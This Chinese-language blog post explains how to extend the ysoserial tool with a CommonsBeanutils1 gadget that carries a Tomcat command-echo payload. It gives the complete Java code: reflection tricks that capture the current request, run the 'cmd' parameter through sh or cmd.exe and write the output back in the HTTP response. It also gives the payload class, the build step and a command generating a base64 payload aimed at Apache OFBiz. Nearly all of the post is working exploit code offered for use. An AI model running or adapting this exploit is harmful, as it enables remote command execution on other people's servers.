0x00 前言 之前的文章讲过了ysoserial工具架构和Tomcat半回显方法即利用ApplicationFilterChain实现。
这里看看怎么将这种半通用回显方法添加到ysoserial中。
0x01 添加payload 回忆下,要将自定义的payload添加到ysoserial的payloads包中时,需要满足:
自定义的payload类必须实现ObjectPayload接口类且必须重写其getObject()函数;
需要在main()函数中添加PayloadRunner测试方法;
这里以CommonsBeanutils1这条利用链为例,其他Gadget改造方法一样的。
简单地说就是把原本这条Gadget中直接通过Runtime.getRuntime().exec()来执行cmd命令换成我们的ApplicationFilterChain半回显代码来执行即可。
参考之前的文章中的半回显方法的代码,把代码中泛型部分去掉、将类名写成完整的类名以及添加小部分的类型转换,具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField("modifiers" ); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); modifiersField.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL); boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null );ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null ); ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null ); String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter("cmd" ) : null ; if (cmd != null ) { System.out.println("[*]获取到请求的cmd参数: " + cmd); } if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null ) { System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true" ); WRAP_SAME_OBJECT_FIELD.setBoolean(null , true ); lastServicedRequestField.set(null , new ThreadLocal()); lastServicedResponseField.set(null , new ThreadLocal()); } else if (cmd != null ) { System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数" ); javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get(); java.io.PrintWriter printWriter = servletResponse.getWriter(); java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField("response" ); responseField.setAccessible(true ); org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse); java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter" ); usingWriterField.setAccessible(true ); usingWriterField.set(response, Boolean.FALSE); boolean isLinux = true ; String osType = System.getProperty("os.name" ); if (osType != null && osType.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String[]{"sh" , "-c" , cmd} : new String[]{"cmd.exe" , "/c" , cmd}; java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\a" ); String output = scanner.hasNext() ? scanner.next() : "" ; printWriter.write(output); printWriter.flush(); }
接着在ysoserial/payloads/util/Gadgets类中添加自定义实现的两个createTomcatApplicationFilterChainTemplatesImpl()方法,具体说明看注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 public static Object createTomcatApplicationFilterChainTemplatesImpl ( final String param_name ) throws Exception { String param = param_name.equals("" ) ? "cmd" : param_name; String echo_code = "// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段\n" + "// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段\n" + "java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName(\"org.apache.catalina.core.ApplicationDispatcher\").getDeclaredField(\"WRAP_SAME_OBJECT\");\n" + "java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField(\"lastServicedRequest\");\n" + "java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField(\"lastServicedResponse\");\n" + "\n" + "// 获取Field类的modifiers声明字段\n" + "java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField(\"modifiers\");\n" + "\n" + "// 添加访问权限才能访问私有属性\n" + "WRAP_SAME_OBJECT_FIELD.setAccessible(true);\n" + "modifiersField.setAccessible(true);\n" + "lastServicedRequestField.setAccessible(true);\n" + "lastServicedResponseField.setAccessible(true);\n" + "\n" + "// 清除代表final的那个bit,才能成功修改static final\n" + "modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);\n" + "modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);\n" + "modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);\n" + "\n" + "// 获取当前WRAP_SAME_OBJECT_FIELD的值\n" + "boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);\n" + "\n" + "// 尝试获取当前lastServicedRequest和lastServicedResponse的值\n" + "// 如果不是第一次访问该接口则为非null\n" + "ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);\n" + "ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);\n" + "\n" + "// 非null就可以直接获取URL参数cmd\n" + "String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter(\"" + param + "\") : null;\n" + "if (cmd != null) {\n" + " System.out.println(\"[*]获取到请求的cmd参数: \" + cmd);\n" + "}\n" + "\n" + "// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改\n" + "// 也未新建lastServicedRequest与lastServicedResponse实例\n" + "if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {\n" + " System.out.println(\"[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true\");\n" + " // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse\n" + " WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);\n" + "\n" + " // 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错\n" + " lastServicedRequestField.set(null, new ThreadLocal());\n" + " lastServicedResponseField.set(null, new ThreadLocal());\n" + "} else if (cmd != null) {\n" + " // 执行cmd命令并添加到Response中回显\n" + "\n" + " System.out.println(\"[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数\");\n" + "\n" + " // 获取保存到lastServicedResponse中的ServletResponse\n" + " javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get();\n" + " java.io.PrintWriter printWriter = servletResponse.getWriter();\n" + "\n" + " // 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象\n" + " java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField(\"response\");\n" + " responseField.setAccessible(true);\n" + " org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);\n" + "\n" + " // 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter()\n" + " // 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()\n" + " // 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的\n" + " // 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑\n" + " java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField(\"usingWriter\");\n" + " usingWriterField.setAccessible(true);\n" + " usingWriterField.set(response, Boolean.FALSE);\n" + "\n" + " // 判断当前OS类型\n" + " boolean isLinux = true;\n" + " String osType = System.getProperty(\"os.name\");\n" + " if (osType != null && osType.toLowerCase().contains(\"win\")) {\n" + " isLinux = false;\n" + " }\n" + "\n" + " // 执行命令并将结果写入ServletResponse的PrintWriter中\n" + " String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n" + " java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();\n" + " java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter(\"\\\\a\");\n" + " String output = scanner.hasNext() ? scanner.next() : \"\";\n" + " printWriter.write(output);\n" + " printWriter.flush();\n" + "}" ; if ( Boolean.parseBoolean(System.getProperty("properXalan" , "false" )) ) { return createTomcatApplicationFilterChainTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet" ), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl" ), echo_code); } return createTomcatApplicationFilterChainTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, echo_code); } public static <T> T createTomcatApplicationFilterChainTemplatesImpl ( Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String echo_code ) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); clazz.makeClassInitializer().insertAfter(echo_code); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte [] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; }
然后新建CB1TomcatApplicationFilterChainEcho类,参考CommonsBeanutils1类,直接修改下重写的getObject()函数中调用Gadgets.createTomcatApplicationFilterChainTemplatesImpl()函数来获取新的TemplatesImpl类对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package ysoserial.payloads;import org.apache.commons.beanutils.BeanComparator;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.math.BigInteger;import java.util.PriorityQueue;public class CB1TomcatApplicationFilterChainEcho implements ObjectPayload <Object > { @Override public Object getObject (String command) throws Exception { final Object templates = Gadgets.createTomcatApplicationFilterChainTemplatesImpl(command); final BeanComparator comparator = new BeanComparator("lowestSetBit" ); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , comparator); queue.add(new BigInteger("1" )); queue.add(new BigInteger("1" )); Reflections.setFieldValue(comparator, "property" , "outputProperties" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = templates; return queue; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CB1TomcatApplicationFilterChainEcho.class, args); } }
最后,打包成新的jar包:
1 mvn clean package -DskipTests
0x02 Ofbiz回显利用 运行新编译生成的ysoserial工具,指定payload类为自定义的CB1TomcatApplicationFilterChainEcho类,其中参数为名为param的URL参数:
1 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CB1TomcatApplicationFilterChainEcho "param" | base64 | tr -d "\n"
成功回显:
0x03 参考 https://github.com/kingkaki/ysoserial